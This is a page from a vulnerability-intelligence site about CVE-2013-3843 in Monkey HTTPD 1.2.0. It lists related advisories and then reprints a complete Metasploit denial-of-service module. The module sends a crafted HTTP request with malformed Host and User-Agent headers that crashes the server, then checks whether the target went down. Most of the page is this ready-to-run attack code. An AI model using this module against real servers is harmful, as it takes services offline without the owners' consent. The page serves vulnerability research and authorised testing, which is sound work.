Monkey HTTPD Header Parsing Do
Reporter | Title | Published | Views | Family All 15 |
---|---|---|---|---|
![]() | Monkey 1.2.0 Buffer Overflow | 4 Jun 201300:00 | – | packetstorm |
![]() | Monkey HTTPD Header Parsing Denial of Service (Denial of Service) | 31 Aug 202400:00 | – | packetstorm |
![]() | Monkey HTTPD Header Parsing Denial of Service (CVE-2013-3843) | 1 Sep 201300:00 | – | checkpoint_advisories |
![]() | CVE-2013-3843 Monkey HTTPD 1.2.0 - Buffer Overflow DoS Vulnerability With Possible Arbitrary Code Execution | 4 Jun 201300:00 | – | securityvulns |
![]() | Monkey HTTPD security vulnerabilities | 4 Jun 201300:00 | – | securityvulns |
![]() | Stack overflow | 13 Jun 201414:55 | – | prion |
![]() | CVE-2013-3843 | 13 Jun 201414:55 | – | cve |
![]() | CVE-2013-3843 | 13 Jun 201400:00 | – | ubuntucve |
![]() | CVE-2013-3843 | 13 Jun 201414:55 | – | nvd |
![]() | Monkey HTTP Server <= 1.2.0 Host Header Buffer Overflow Vulnerability | 5 Jun 201300:00 | – | openvas |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)',
'Description' => %q{
This module causes improper header parsing that leads to a segmentation fault
due to a specially crafted HTTP request. Affects version <= 1.2.0.
},
'Author' =>
[
'Doug Prostko <dougtko[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3843'],
['OSVDB', '93853'],
['BID', '60333']
],
'DisclosureDate' => '2013-05-30'))
register_options(
[
Opt::RPORT(2001)
])
end
def dos
req = "GET / HTTP/1.1\r\n"
req << "Host:\r\n\r\nlocalhost\r\n"
req << "User-Agent:\r\n\r\n"
connect
sock.put(req)
disconnect
end
def is_alive?
begin
connect
rescue Rex::ConnectionRefused
return false
ensure
disconnect
end
true
end
def run
print_status("#{rhost}:#{rport} - Sending DoS packet...")
dos
print_status("#{rhost}:#{rport} - Checking server status...")
select(nil, nil, nil, 1)
if is_alive?
print_error("#{rhost}:#{rport} - Server is still alive")
else
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
end
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo